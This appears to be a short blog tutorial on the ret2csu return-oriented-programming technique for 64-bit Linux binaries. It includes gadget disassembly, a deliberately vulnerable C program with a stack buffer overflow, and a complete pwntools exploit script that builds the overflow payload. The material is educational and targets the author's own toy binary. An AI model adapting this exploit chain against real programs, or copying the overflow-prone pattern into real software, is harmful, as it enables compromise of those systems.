Skip to main content

RET2CSU

· 4 min read

0x01 Why do we need ret2csu?

In a 64-bit ELF file, the first six parameters of a function call are stored in the registers rdi, rsi, rdx, rcx, r8, r9. When constructing a ROP chain, it is often challenging to find the corresponding gadgets (especially for rdx). The key point of ret2csu is to use __libc_csu_init() to obtain two gadgets for universal parameter passing (while also leaking the address of a function).

0x02 __libc_csu_init()

__libc_csu_init() is a function used to initialize libc, and since most software relies on libc, we can consider __libc_csu_init() to be a fairly generic function in programs.

Let's take a look at it in a random 64-bit ELF file:

.text:0000000000401250 loc_401250:
.text:0000000000401250 mov rdx, r14
.text:0000000000401253 mov rsi, r13
.text:0000000000401256 mov edi, r12d
.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040125D add rbx, 1
.text:0000000000401261 cmp rbp, rbx
.text:0000000000401264 jnz short loc_401250
.text:0000000000401266
.text:0000000000401266 loc_401266:
.text:0000000000401266 add rsp, 8
.text:000000000040126A pop rbx
.text:000000000040126B pop rbp
.text:000000000040126C pop r12
.text:000000000040126E pop r13
.text:0000000000401270 pop r14
.text:0000000000401272 pop r15
.text:0000000000401274 retn

From this, we can see that we can set r15+rbx*8 as the pointer to the function we want to execute, and edi, rsi, rdx can be used as function parameters.

Usually, we set rbx=0, rbp=1, which simplifies the use of gadgets significantly.

0x03 Practical Use

Here, I will only explore the principle of ret2csu (because I have a HGAME to play in half an hour). So, I wrote a simple program that leaks the actual address of a function directly.

Source code:

#include<stdio.h>
#include<unistd.h>

int vul(int a,int b,int c){
if(c == 233)
printf("Big Hacker!\n");
return 0;
}

int main(){
char buf[30];
int (*ptr)(int a,int b,int c) = vul;
printf("gift: %p\n", &ptr);
read(0,buf,0x100);
return 0;
}

Compilation:

gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits

The idea is simple, we just need to use __libc_csu_init() to assign 233 to rdx. However, there are no gadgets in ROP that allow us to do this.

At this point, we need to use ret2csu.

def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Padding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

It's worth noting that after executing gadget1, the program will go on to execute gadget2. Therefore, we need to pad (7*0x8) trash bytes to prevent errors.

Complete payload:

from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = process('./ret2csu_64bits')
elf = ELF('./ret2csu_64bits')

sh.recvuntil(b"gift: ")
vul_addr = int(sh.recvline(), 16)
csu_gadget1_addr = 0x401250
csu_gadget2_addr = 0x401266

def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Padding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

gdb.attach(sh)
payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])
sh.sendline(payload)
sh.interactive()
Loading Comments...